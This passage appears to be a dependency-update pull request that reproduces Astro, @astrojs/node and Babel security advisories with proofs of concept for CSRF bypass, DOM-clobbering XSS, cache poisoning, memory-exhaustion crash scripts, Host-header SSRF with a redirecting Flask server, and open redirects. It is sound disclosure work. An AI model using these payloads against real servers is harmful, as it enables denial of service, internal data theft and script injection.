This vulnerability is the root cause of #12703, which links to a simple stackblitz project demonstrating the vulnerability. Upon build, notice the contents of the dist/client (referred to as config.build.client in astro code) folder. All astro servers make the folder in question accessible to the public internet without any authentication. It contains .map files corresponding to the code that runs on the server.

Impact

All server-output (SSR) projects on Astro 5 versions v5.0.3 through v5.0.6 (inclusive), that have sourcemaps enabled, either directly or through an add-on such as sentry, are affected. The fix for server-output projects was released in astro@5.0.7.

Additionally, all static-output (SSG) projects built using Astro 4 versions 4.16.17 or older, or Astro 5 versions 5.0.7 or older, that have sourcemaps enabled are also affected. The fix for static-output projects was released in astro@5.0.8, and backported to Astro v4 in astro@4.16.18.

The immediate impact is limited to source code. Any secrets or environment variables are not exposed unless they are present verbatim in the source code.

There is no immediate loss of integrity within the the vulnerable server. However, it is possible to subsequently discover another vulnerability via the revealed source code .

There is no immediate impact to availability of the vulnerable server. However, the presence of an unsafe regular expression, for example, can quickly be exploited to subsequently compromise the availability.

Network attack vector.

Low attack complexity.

No privileges required.

No interaction required from an authorized user.

Scope is limited to first party. Although the source code of closed-source third-party software may also be exposed.

Remediation

The fix for server-output projects was released in astro@5.0.7, and the fix for static-output projects was released in astro@5.0.8 and backported to Astro v4 in astro@4.16.18. Users are advised to update immediately if they are using sourcemaps or an integration that enables sourcemaps.

🚨 Atro CSRF Middleware Bypass (security.checkOrigin)

Summary

A bug in Astro’s CSRF-protection middleware allows requests to bypass CSRF checks.

Details

When the security.checkOrigin configuration option is set to true, Astro middleware will perform a CSRF check. (Source code: https://github.com/withastro/astro/blob/6031962ab5f56457de986eb82bd24807e926ba1b/packages/astro/src/core/app/middlewares.ts)

For example, with the following Astro configuration:
// astro.config.mjs
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
	output: 'server',
	security: { checkOrigin: true },
	adapter: node({ mode: 'standalone' }),
});
A request like the following would be blocked if made from a different origin:
// fetch API or <form action="https://test.example.com/" method="POST">
fetch('https://test.example.com/', {
	method: 'POST',
	credentials: 'include',
	body: 'a=b',
	headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
});
// => Cross-site POST form submissions are forbidden
However, a vulnerability exists that can bypass this security.

Pattern 1: Requests with a semicolon after the Content-Type

A semicolon-delimited parameter is allowed after the type in Content-Type.

Web browsers will treat a Content-Type such as application/x-www-form-urlencoded; abc as a simple request and will not perform preflight validation. In this case, CSRF is not blocked as expected.
fetch('https://test.example.com', {
	method: 'POST',
	credentials: 'include',
	body: 'test',
	headers: { 'Content-Type': 'application/x-www-form-urlencoded; abc' },
});
// => Server-side functions are executed (Response Code 200).
Pattern 2: Request without Content-Type header

The Content-Type header is not required for a request. The following examples are sent without a Content-Type header, resulting in CSRF.
// Pattern 2.1 Request without body
fetch('http://test.example.com', { method: 'POST', credentials: 'include' });

// Pattern 2.2 Blob object without type
fetch('https://test.example.com', {
	method: 'POST',
	credentials: 'include',
	body: new Blob(['a=b'], {}),
});
Impact

Bypass CSRF protection implemented with CSRF middleware.

Note

Even with credentials: 'include', browsers may not send cookies due to third-party cookie blocking. This feature depends on the browser version and settings, and is for privacy protection, not as a CSRF measure.

🚨 DOM Clobbering Gadget found in astro's client-side router that leads to XSS

Summary

A DOM Clobbering gadget has been discoverd in Astro's client-side router. It can lead to cross-site scripting (XSS) in websites enables Astro's client-side routing and has stored attacker-controlled scriptless HTML elements (i.e., iframe tags with unsanitized name attributes) on the destination pages.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Astro

We identified a DOM Clobbering gadget in Astro's client-side routing module, specifically in the <ViewTransitions /> component. When integrated, this component introduces the following vulnerable code, which is executed during page transitions (e.g., clicking an <a> link):

astro/packages/astro/src/transitions/router.ts

Lines 135 to 156 in 7814a6c

function runScripts() {

let wait = Promise.resolve();

for (const script of Array.from(document.scripts)) {

if (script.dataset.astroExec === '') continue;

const type = script.getAttribute('type');

if (type && type !== 'module' && type !== 'text/javascript') continue;

const newScript = document.createElement('script');

newScript.innerHTML = script.innerHTML;

for (const attr of script.attributes) {

if (attr.name === 'src') {

const p = new Promise((r) => {

newScript.onload = newScript.onerror = r;

});

wait = wait.then(() => p as any);

}

newScript.setAttribute(attr.name, attr.value);

}

newScript.dataset.astroExec = '';

script.replaceWith(newScript);

}

return wait;

}

However, this implementation is vulnerable to a DOM Clobbering attack. The document.scripts lookup can be shadowed by an attacker injected non-script HTML elements (e.g., <img name="scripts"><img name="scripts">) via the browser's named DOM access mechanism. This manipulation allows an attacker to replace the intended script elements with an array of attacker-controlled scriptless HTML elements.

The condition script.dataset.astroExec === '' on line 138 can be bypassed because the attacker-controlled element does not have a data-astroExec attribute. Similarly, the check on line 134 can be bypassed as the element does not require a type attribute.

Finally, the innerHTML of an attacker-injected non-script HTML elements, which is plain text content before, will be set to the .innerHTML of an script element that leads to XSS.

PoC

Consider a web application using Astro as the framework with client-side routing enabled and allowing users to embed certain scriptless HTML elements (e.g., form or iframe). This can be done through a bunch of website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

For PoC website, please refer to: https://stackblitz.com/edit/github-4xgj2d. Clicking the "about" button in the menu will trigger an alert(1) from an attacker-injected form element.
---
import Header from "../components/Header.astro";
import Footer from "../components/Footer.astro";
import { ViewTransitions } from "astro:transitions";
import "../styles/global.css";
const { pageTitle } = Astro.props;
---
<html lang="en">
  <head>
    <meta charset="utf-8" />
    <link rel="icon" type="image/svg+xml" href="/favicon.svg" />
    <meta name="viewport" content="width=device-width" />
    <meta name="generator" content={Astro.generator} />
    <title>{pageTitle}</title>
    <ViewTransitions />
  </head>
  <body>
    
    <iframe name="scripts">alert(1)</iframe>
    <iframe name="scripts">alert(1)</iframe>
    
    
    <Header />
    <h1>{pageTitle}</h1>
    <slot />
    <Footer />
    <script>
      import "../scripts/menu.js";
    </script>
  </body>
</html>
Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that built with Astro that enable the client-side routing with ViewTransitions and store the user-inserted scriptless HTML tags without properly sanitizing the name attributes on the page.

Patch

We recommend replacing document.scripts with document.getElementsByTagName('script') for referring to script elements. This will mitigate the possibility of DOM Clobbering attacks leveraging the name attribute.

Reference

Similar issues for reference:

Webpack (CVE-2024-43788)

Vite (CVE-2024-45812)

layui (CVE-2024-47075)

Release Notes

Too many releases to show here. View the full release notes.

✳️ @astrojs/node (3.1.0 → 11.0.2) · Repo

Security Advisories 🚨

🚨 @astrojs/node: Backslash-prefixed paths not recognized as internal by trailing-slash redirect

Impact

With trailingSlash: 'always' configured, the @astrojs/node standalone server's static file handler appends a trailing slash to request paths and issues a 301 redirect. Paths beginning with /\ (slash-backslash) were not recognized as internal paths, so the handler would echo the raw path back in the Location header. Because browsers treat \ as / per the WHATWG URL specification, the resulting redirect could resolve to an external host.

Preconditions:

trailingSlash: 'always' must be set (non-default; the default is 'ignore')

The request path must not have a file extension in its final segment

An attacker must deliver the crafted link to a user

Patches

Fixed by treating backslash-prefixed paths the same as //-prefixed paths in isInternalPath(), so they are no longer rewritten with a trailing slash.

Workarounds

Use the default trailingSlash: 'ignore' setting, which does not issue trailing-slash redirects in the static file handler.

References

WHATWG URL spec: backslash normalization

🚨 Astro: Cache Poisoning due to incorrect error handling when if-match header is malformed

Summary

Requesting a static JS/CSS resource from the _astro path with an incorrect or malformed if-match header returns a 500 error with a one-year cache lifetime instead of 412 in some cases. As a result, all subsequent requests to that file — regardless of the if-match header — will be served a 5xx error instead of the file until the cache expires.

Sending an incorrect or malformed if-match header should always return a 412 error without any cache headers, which is not the current behavior.

Affected Versions

astro@5.14.1

@astrojs/node@9.4.4

Proof of Concept

Run the following command:
curl -s -o /dev/null -D - <host location>/_astro/_slug_.UTbyeVfw.css -H "if-match: xxx"
If a 5xx error is not returned, inspect the resources via the browser's web inspector and select another CSS/JS file to request until a 5xx error is returned. The behavior generally defaults to a 5xx response. Note that all static files are immutable, so the cache must be purged or disabled to reproduce reliably.

A response similar to the following is expected from CloudFront:
HTTP/2 500 
content-type: text/html
content-length: 166541
date: Thu, 09 Apr 2026 12:53:08 GMT
last-modified: Wed, 21 Jan 2026 13:40:08 GMT
etag: "a68349e96c2faf8861c330aeb548441a"
x-amz-server-side-encryption: AES256
accept-ranges: bytes
server: AmazonS3
x-cache: Error from cloudfront
via: 1.1 3591be88662e5675a9dc1cc4e0a9c392.cloudfront.net (CloudFront)
x-amz-cf-pop: ZRH55-P2
x-amz-cf-id: Rg--RIYCKcA55GZqZXdvu-VTvpxBFFVzV4LBIcKq5pB_hktcrhYbKg==
The above is not the real server output but the AWS error response triggered when the pods return a 5xx. Below is the output of the same curl command issued directly against a pod in Kubernetes:
❯ curl -s -o /dev/null -D - -H "Host: tagesanzeiger.ch" 127.0.0.1:3333/_astro/InstallPrompt.astro_astro_type_script_index_0_lang.C0M4llHG.js -H "if-match: xxx"

HTTP/1.1 500 Internal Server Error
Cache-Control: public, max-age=31536000, immutable
Accept-Ranges: bytes
Last-Modified: Tue, 07 Apr 2026 07:08:03 GMT
ETag: W/"560-19d66c50c38"
Content-Type: text/javascript; charset=utf-8
Date: Tue, 07 Apr 2026 08:23:54 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
This demonstrates that the pod itself returns a 5xx error instead of 412. In addition, the response includes a Cache-Control: public, max-age=31536000, immutable header.

Because the testing setup configures if-match as part of the cache key, the exploit no longer affects the production application. Prior to that change, the CDN Point of Presence would become cache-poisoned, and any client visiting the affected pages without cached files through the same PoP would receive broken pages. This was reproduced by creating test URLs and visiting them in a browser only after triggering the exploit. The exploited resources returned 5xx errors instead of the original CSS/JS content, breaking the application.

Details

The findings were analyzed with an LLM, which identified the following file as the likely source: serve-static.ts
// Lines 129-153

let forwardError = false;

stream.on('error', (err) => {
    if (forwardError) {
        console.error(err.toString());
        res.writeHead(500);
        res.end('Internal server error');
        return;
    }
    // File not found, forward to the SSR handler
    ssr();
});
stream.on('headers', (_res: ServerResponse) => {
    // assets in dist/_astro are hashed and should get the immutable header
    if (normalizedPathname.startsWith(`/${app.manifest.assetsDir}/`)) {
        // This is the "far future" cache header, used for static files whose name includes their digest hash.
        // 1 year (31,536,000 seconds) is convention.
        // Taken from https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control#immutable
        _res.setHeader('Cache-Control', 'public, max-age=31536000, immutable');
    }
});
stream.on('file', () => {
    forwardError = true;
});
stream.pipe(res);
LLM analysis:
send handles conditional request headers such as If-Match internally. When a file is found but the precondition fails (ETag mismatch), send:

Emits file (the file exists) → forwardError = true

Emits headers → Cache-Control: public, max-age=31536000, immutable is set on res

Emits error with a PreconditionFailedError (status 412)

However, the error handler does not inspect the error's status code:
stream.on('error', (err) => {
    if (forwardError) {
        console.error(err.toString());
        res.writeHead(500);   // ← always 500, regardless of the actual error
        res.end('Internal server error');
        return;
    }
    ssr();
});
Because Cache-Control was already set during the headers event, the response is sent as:
HTTP/1.1 500 Internal Server Error
Cache-Control: public, max-age=31536000, immutable
Impact

Cache Poisoning — An attacker can force edge servers to cache an error page instead of the actual content, rendering one or more assets unavailable to legitimate users until the cache expires.

🚨 Astro: Memory exhaustion DoS due to missing request body size limit in Server Islands

Summary

Astro's Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because JSON.parse() allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The /_server-islands/[name] route is registered on all Astro SSR apps regardless of whether any component uses server:defer, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected.

Details

Astro automatically registers a Server Islands route at /_server-islands/[name] on all SSR apps, regardless of whether any component uses server:defer. The POST handler in packages/astro/src/core/server-islands/endpoint.ts buffers the entire request body into memory and parses it as JSON with no size or depth limit:
// packages/astro/src/core/server-islands/endpoint.ts (lines 55-56)
const raw = await request.text();    // full body buffered into memory — no size limit
const data = JSON.parse(raw);        // parsed into V8 object graph — no element count limit
The request body is parsed before the island name is validated, so the attacker does not need to know any valid island name — /_server-islands/anything triggers the vulnerable code path. No authentication is required.

Additionally, JSON.parse() allocates a heap object for every array/object in the input, so a payload consisting of many empty JSON objects (e.g., [{},{},{},...]) achieves ~15x memory amplification (wire bytes to heap bytes). The entire object graph is held as a single live reference until parsing completes, preventing garbage collection. An 8.6 MB request is sufficient to crash a server with a 128 MB heap limit.

PoC

Environment: Astro 5.18.0, @astrojs/node 9.5.4, Node.js 22 with --max-old-space-size=128.

The app does not use server:defer — this is a minimal SSR setup with no server island components. The route is still registered and exploitable.

Setup files:

package.json:
{
  "name": "poc-server-islands-dos",
  "scripts": {
    "build": "astro build",
    "start": "node --max-old-space-size=128 dist/server/entry.mjs"
  },
  "dependencies": {
    "astro": "5.18.0",
    "@astrojs/node": "9.5.4"
  }
}
astro.config.mjs:
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
});
src/pages/index.astro:
---
---
<html>
<head><title>Astro App</title></head>
<body>
  <h1>Hello</h1>
  <p>Just a plain SSR page. No server islands.</p>
</body>
</html>
Dockerfile:
FROM node:22-slim
WORKDIR /app
COPY package.json .
RUN npm install
COPY . .
RUN npm run build
EXPOSE 4321
CMD ["node", "--max-old-space-size=128", "dist/server/entry.mjs"]
docker-compose.yml:
services:
  astro:
    build: .
    ports:
      - "4321:4321"
    deploy:
      resources:
        limits:
          memory: 256m
Reproduction:
# Build and start
docker compose up -d

# Verify server is running
curl http://localhost:4321/
# => 200 OK
crash.py:
import requests

# Any path under /_server-islands/ works — no valid island name needed
TARGET = "http://localhost:4321/_server-islands/x"

# 3M empty objects: each {} is ~3 bytes JSON but ~56-80 bytes as V8 object
# 8.6 MB on wire → ~180+ MB heap allocation → exceeds 128 MB limit
n = 3_000_000
payload = '[' + ','.join(['{}'] * n) + ']'
print(f"Payload: {len(payload) / (1024*1024):.1f} MB")

try:
    r = requests.post(TARGET, data=payload,
        headers={"Content-Type": "application/json"}, timeout=30)
    print(f"Status: {r.status_code}")
except requests.exceptions.ConnectionError:
    print("Server crashed (OOM killed)")
$ python crash.py
Payload: 8.6 MB
Server crashed (OOM killed)

$ curl http://localhost:4321/
curl: (7) Failed to connect to localhost port 4321: Connection refused

$ docker compose ps
NAME      IMAGE     COMMAND   SERVICE   CREATED   STATUS    PORTS
(empty — container was OOM killed)
The server process is killed and does not recover. Repeated requests in a containerized environment with restart policies cause a persistent crash-restart loop.

Impact

Any Astro SSR app with the Node standalone adapter is affected — the /_server-islands/[name] route is registered by default regardless of whether any component uses server:defer. Unauthenticated attackers can crash the server process with a single crafted HTTP request under 9 MB. In containerized environments with memory limits, repeated requests cause a persistent crash-restart loop, denying service to all users. The attack requires no authentication and no knowledge of valid island names — any value in the [name] parameter works because the body is parsed before the name is validated.

🚨 Astro has memory exhaustion DoS due to missing request body size limit in Server Actions

Summary

Astro server actions have no default request body size limit, which can lead to memory exhaustion DoS. A single large POST to a valid action endpoint can crash the server process on memory-constrained deployments.

Details

On-demand rendered sites built with Astro can define server actions, which automatically parse incoming request bodies (JSON or FormData). The body is buffered entirely into memory with no size limit — a single oversized request is sufficient to exhaust the process heap and crash the server.

Astro's Node adapter (mode: 'standalone') creates an HTTP server with no body size protection. In containerized environments, the crashed process is automatically restarted, and repeated requests cause a persistent crash-restart loop.

Action names are discoverable from HTML form attributes on any public page, so no authentication is required.

PoC
Details

Setup

Create a new Astro project with the following files:

package.json:
{
  "name": "poc-dos",
  "private": true,
  "scripts": {
    "build": "astro build",
    "start:128mb": "node --max-old-space-size=128 dist/server/entry.mjs"
  },
  "dependencies": {
    "astro": "5.17.2",
    "@astrojs/node": "9.5.3"
  }
}
astro.config.mjs:
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
});
src/actions/index.ts:
import { defineAction } from 'astro:actions';
import { z } from 'astro:schema';

export const server = {
  echo: defineAction({
    input: z.object({ data: z.string() }),
    handler: async (input) => ({ received: input.data.length }),
  }),
};
src/pages/index.astro:
---
---
<html><body><p>Server running</p></body></html>
crash-test.mjs:
const payload = JSON.stringify({ data: 'A'.repeat(125 * 1024 * 1024) });

console.log('Sending 125 MB payload...');
try {
  const res = await fetch('http://localhost:4321/_actions/echo', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json', 'Accept': 'application/json' },
    body: payload,
  });
  console.log('Status:', res.status);
} catch (e) {
  console.log('Server crashed:', e.message);
}
Reproduction
npm install && npm run build

# Terminal 1: Start server with 128 MB memory limit
npm run start:128mb

# Terminal 2: Send 125 MB payload
node crash-test.mjs
The server process crashes with FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory. The payload is buffered entirely into memory before any validation, exceeding the 128 MB heap limit.
Impact

Allows unauthenticated denial of service against SSR standalone deployments using server actions. A single oversized request crashes the server process, and repeated requests cause a persistent crash-restart loop in containerized environments.

🚨 Astro is vulnerable to SSRF due to missing allowlist enforcement in remote image inferSize

Summary

A bug in Astro's image pipeline allows bypassing image.domains / image.remotePatterns restrictions, enabling the server to fetch content from unauthorized remote hosts.

Details

Astro provides an inferSize option that fetches remote images at render time to determine their dimensions. Remote image fetches are intended to be restricted to domains the site developer has manually authorized (using the image.domains or image.remotePatterns options).

However, when inferSize is used, no domain validation is performed — the image is fetched from any host regardless of the configured restrictions. An attacker who can influence the image URL (e.g., via CMS content or user-supplied data) can cause the server to fetch from arbitrary hosts.

PoC
Details

Setup

Create a new Astro project with the following files:

package.json:
{
  "name": "poc-ssrf-infersize",
  "private": true,
  "scripts": {
    "dev": "astro dev --port 4322",
    "build": "astro build"
  },
  "dependencies": {
    "astro": "5.17.2",
    "@astrojs/node": "9.5.3"
  }
}
astro.config.mjs — only localhost:9000 is authorized:
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  image: {
    remotePatterns: [
      { hostname: 'localhost', port: '9000' }
    ]
  }
});
internal-service.mjs — simulates an internal service on a non-allowlisted host (127.0.0.1:8888):
import { createServer } from 'node:http';
const GIF = Buffer.from('R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==', 'base64');
createServer((req, res) => {
  console.log(`[INTERNAL] Received: ${req.method} ${req.url}`);
  res.writeHead(200, { 'Content-Type': 'image/gif', 'Content-Length': GIF.length });
  res.end(GIF);
}).listen(8888, '127.0.0.1', () => console.log('Internal service on 127.0.0.1:8888'));
src/pages/test.astro:
---
import { getImage } from 'astro:assets';

const result = await getImage({
  src: 'http://127.0.0.1:8888/internal-api',
  inferSize: true,
  alt: 'test'
});
---
<html><body>
  <p>Width: {result.options.width}, Height: {result.options.height}</p>
</body></html>
Steps to reproduce

Run npm install and start the internal service:
node internal-service.mjs
Start the dev server:
npm run dev
Request the page:
curl http://localhost:4322/test
internal-service.mjs logs Received: GET /internal-api — the request was sent to 127.0.0.1:8888 despite only localhost:9000 being in the allowlist.
Impact

Allows bypassing image.domains / image.remotePatterns restrictions to make server-side requests to unauthorized hosts. This includes the risk of server-side request forgery (SSRF) against internal network services and cloud metadata endpoints.

🚨 Astro has Full-Read SSRF in error rendering via Host: header injection

Summary

Server-Side Rendered pages that return an error with a prerendered custom error page (eg. 404.astro or 500.astro) are vulnerable to SSRF. If the Host: header is changed to an attacker's server, it will be fetched on /500.html and they can redirect this to any internal URL to read the response body through the first request.

Details

The following line of code fetches statusURL and returns the response back to the client:

astro/packages/astro/src/core/app/base.ts

Line 534 in bf0b4bf

const response = await prerenderedErrorPageFetch(statusURL.toString() as ErrorPagePath);

statusURL comes from this.baseWithoutTrailingSlash, which is built from the Host: header. prerenderedErrorPageFetch() is just fetch(), and follows redirects. This makes it possible for an attacker to set the Host: header to their server (eg. Host: attacker.tld), and if the server still receives the request without normalization, Astro will now fetch http://attacker.tld/500.html.

The attacker can then redirect this request to http://localhost:8000/ssrf.txt, for example, to fetch any locally listening service. The response code is not checked, because as the comment in the code explains, this fetch may give a 200 OK. The body and headers are returned back to the attacker.

Looking at the vulnerable code, the way to reach this is if the renderError() function is called (error response during SSR) and the error page is prerendered (custom 500.astro error page). The PoC below shows how a basic project with these requirements can be set up.

Note: Another common vulnerable pattern for 404.astro we saw is:
return new Response(null, {status: 404});
Also, it does not matter what allowedDomains is set to, since it only checks the X-Forwarded-Host: header.

astro/packages/astro/src/core/app/base.ts

Line 146 in 9e16d63

protected matchesAllowedDomains(forwardedHost: string, protocol?: string): boolean {

PoC

Create a new empty project
npm create astro@latest poc -- --template minimal --install --no-git --yes
Create poc/src/pages/error.astro which throws an error with SSR:
---
export const prerender = false;

throw new Error("Test")
---
Create poc/src/pages/500.astro with any content like:
<p>500 Internal Server Error</p>
Build and run the app
cd poc
npx astro add node --yes
npm run build && npm run preview
Set up an "internal server" which we will SSRF to. Create a file called ssrf.txt and host it locally on http://localhost:8000:
cd $(mktemp -d)
echo "SECRET CONTENT" > ssrf.txt
python3 -m http.server
Set up attacker's server with exploit code and run it, so that its server becomes available on http://localhost:5000:
# pip install Flask
from flask import Flask, redirect

app = Flask(__name__)

@app.route("/500.html")
def exploit():
    return redirect("http://127.0.0.1:8000/ssrf.txt")

if __name__ == "__main__":
    app.run()
Send the following request to the server, and notice the 500 error returns "SECRET CONTENT".
$ curl -i http://localhost:4321/error -H 'Host: localhost:5000'
HTTP/1.1 500 OK
content-type: text/plain
date: Tue, 03 Feb 2026 09:51:28 GMT
last-modified: Tue, 03 Feb 2026 09:51:09 GMT
server: SimpleHTTP/0.6 Python/3.12.3
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

SECRET CONTENT
Impact

An attacker who can access the application without Host: header validation (eg. through finding the origin IP behind a proxy, or just by default) can fetch their own server to redirect to any internal IP. With this they can fetch cloud metadata IPs and interact with services in the internal network or localhost.

For this to be vulnerable, a common feature needs to be used, with direct access to the server (no proxies).

🚨 Astro allows unauthorized third-party images in _image endpoint

Summary

In affected versions of astro, the image optimization endpoint in projects deployed with on-demand rendering allows images from unauthorized third-party domains to be served.

Details

On-demand rendered sites built with Astro include an /_image endpoint which returns optimized versions of images.

The /_image endpoint is restricted to processing local images bundled with the site and also supports remote images from domains the site developer has manually authorized (using the image.domains or image.remotePatterns options).

However, a bug in impacted versions of astro allows an attacker to bypass the third-party domain restrictions by using a protocol-relative URL as the image source, e.g. /_image?href=//example.com/image.png.

Proof of Concept
Create a new minimal Astro project (astro@5.13.0).
Configure it to use the Node adapter (@astrojs/node@9.1.0 — newer versions are not impacted):
// astro.config.mjs
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
	adapter: node({ mode: 'standalone' }),
});
Build the site by running astro build.

Run the server, e.g. with astro preview.

Append /_image?href=//placehold.co/600x400 to the preview URL, e.g. http://localhost:4321/_image?href=//placehold.co/600x400

The site will serve the image from the unauthorized placehold.co origin.
Impact

Allows a non-authorized third-party to create URLs on an impacted site’s origin that serve unauthorized image content.
In the case of SVG images, this could include the risk of cross-site scripting (XSS) if a user followed a link to a maliciously crafted SVG.

🚨 @astrojs/node's trailing slash handling causes open redirect issue

Summary

Following GHSA-cq8c-xv66-36gw, there's still an Open Redirect vulnerability in a subset of Astro deployment scenarios.

Details

Astro 5.12.8 fixed a case where https://example.com//astro.build/press would redirect to the external origin //astro.build/press. However, with the Node deployment adapter in standalone mode and trailingSlash set to "always" in the Astro configuration, https://example.com//astro.build/press still redirects to //astro.build/press.

Proof of Concept
Create a new minimal Astro project (astro@5.12.8)
Configure it to use the Node adapter (@astrojs/node@9.4.0) and force trailing slashes:
// astro.config.mjs
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
  trailingSlash: 'always',
  adapter: node({ mode: 'standalone' }),
});
Build the site by running astro build.

Run the server, e.g. with astro preview.

Append //astro.build/press to the preview URL, e.g. http://localhost:4321//astro.build/press

The site will redirect to the external Astro Build origin.
Example reproduction

Open this StackBlitz reproduction.

Open the preview in a separate window so the StackBlitz embed doesn't cause security errors.

Append //astro.build/press to the preview URL, e.g. https://x.local-corp.webcontainer.io//astro.build/press.

See it redirect to the external Astro Build origin.

Impact

This is classified as an Open Redirection vulnerability (CWE-601). It affects any user who clicks on a specially crafted link pointing to the affected domain. Since the domain appears legitimate, victims may be tricked into trusting the redirected page, leading to possible credential theft, malware distribution, or other phishing-related attacks.

No authentication is required to exploit this vulnerability. Any unauthenticated user can trigger the redirect by clicking a malicious link.

Sorry, we couldn’t find anything useful about this release.

✳️ @astrojs/react (1.2.2 → 6.0.1) · Repo

Sorry, we couldn’t find anything useful about this release.

✳️ @astrojs/tailwind (2.1.3 → 6.0.2) · Repo

Sorry, we couldn’t find anything useful about this release.

✳️ prettier-plugin-astro (0.7.0 → 0.14.1) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 56 commits:

↗️ @astrojs/compiler (indirect, 0.29.17 → 2.13.1) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

↗️ @astrojs/prism (indirect, 1.0.2 → 4.0.2) · Repo

Sorry, we couldn’t find anything useful about this release.

↗️ @astrojs/telemetry (indirect, 1.0.1 → 3.3.3) · Repo · Changelog

Release Notes

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↗️ @babel/compat-data (indirect, 7.20.1 → 7.29.7) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 2 commits:

↗️ @babel/core (indirect, 7.20.2 → 7.29.7) · Repo · Changelog

Security Advisories 🚨

🚨 @babel/core: Arbitrary File Read via sourceMappingURL Comment

Impact

Using @babel/core to compile maliciously crafted code can allow ab attacker to read any source map from the system that is running Babel, if these conditions are all true:

the attacker controls the input source code

the attacker can read the output source code

the attacker knows the path of the source map file that they want to read

Users that only compile trusted code are not impacted.

Patches

The vulnerability has been fixed in @babel/core@7.29.6 and @babel/core@8.0.0-rc.6.

Workarounds

Callers can mitigate the issue without upgrading by setting inputSourceMap: false in their Babel options.

Callers can also manually extract the #sourceMappingURL comment from the input source code, validate whether the source map that it links to is allowed to be read, and if it is pass an object to inputSourceMap (passing false when it's not).

Credits

Thanks Teodor-Cristian Radoi for reporting the vulnerability.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 2 commits:

↗️ @babel/helper-compilation-targets (indirect, 7.20.0 → 7.29.7) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 2 commits:

↗️ @babel/helper-module-imports (indirect, 7.18.6 → 7.29.7) · Repo · Changelog

Release Notes

7.29.7

v7.29.7 (2026-05-25)

Re-release all packages with npm provenance attestations

7.27.1

v7.27.1 (2025-04-30)

Thanks @kermanx and @woaitsAryan for your first PRs!

👓 Spec Compliance

babel-parser

#17254 Allow using of as lexical declaration within for (@JLHwung)

#17230 Disallow get/set in TSPropertySignature (@JLHwung)

babel-parser, babel-types

#17193 Stricter TSImportType options parsing (@JLHwung)

🐛 Bug Fix

babel-plugin-proposal-destructuring-private, babel-plugin-proposal-do-expressions, babel-traverse

#17137 fix: do expressions should allow early exit (@kermanx)

babel-helper-wrap-function, babel-plugin-transform-async-to-generator

#17251 Fix: propagate argument evaluation errors through async promise chain (@magic-akari)

babel-helper-remap-async-to-generator, babel-plugin-transform-async-to-generator

#17231 fix apply()/call() annotated as pure (@Lacsw)

babel-helper-fixtures, babel-parser

#17233 Create ChainExpression within TSInstantiationExpression (@JLHwung)

babel-generator, babel-parser

#17226 Fill optional AST properties when both estree and typescript parser plugin are enabled (Part 2) (@JLHwung)

babel-parser

#17224 Fill optional AST properties when both estree and typescript parser plugin are enabled (Part 1) (@JLHwung)

#17080 Fix start of TSParameterProperty (@JLHwung)

babel-compat-data, babel-preset-env

#17228 Update firefox bugfix compat data (@JLHwung)

babel-traverse

#17156 fix: Objects and arrays with multiple references should not be evaluated (@liuxingbaoyu)

babel-generator

#17216 Fix: support const type parameter in generator (@JLHwung)

💅 Polish

babel-plugin-bugfix-v8-spread-parameters-in-optional-chaining, babel-plugin-proposal-decorators, babel-plugin-transform-arrow-functions, babel-plugin-transform-class-properties, babel-plugin-transform-destructuring, babel-plugin-transform-object-rest-spread, babel-plugin-transform-optional-chaining, babel-plugin-transform-parameters, babel-traverse

#17221 Reduce generated names size for the 10th-11th (@nicolo-ribaudo)

🏠 Internal

babel-runtime-corejs2, babel-runtime-corejs3, babel-runtime

#17263 Remove unused regenerator-runtime dep in @babel/runtime (@nicolo-ribaudo)

babel-compat-data, babel-preset-env

#17256 Tune plugin compat data (@JLHwung)

babel-compat-data, babel-standalone

#17236 migrate babel-compat-data build script to mjs (@JLHwung)

babel-register

#16844 Migrate @babel/register to cts (@liuxingbaoyu)

babel-helpers, babel-plugin-transform-async-generator-functions, babel-plugin-transform-regenerator, babel-preset-env, babel-runtime-corejs3

#17205 Inline regenerator in the relevant packages (@nicolo-ribaudo)

All packages

#17207 Enforce node protocol import (@JLHwung)

🔬 Output optimization

babel-helpers, babel-plugin-transform-modules-commonjs, babel-runtime-corejs3

#16538 Reduce interopRequireWildcard size (@liuxingbaoyu)

babel-helpers, babel-plugin-transform-async-generator-functions, babel-plugin-transform-regenerator, babel-preset-env, babel-runtime-corejs3

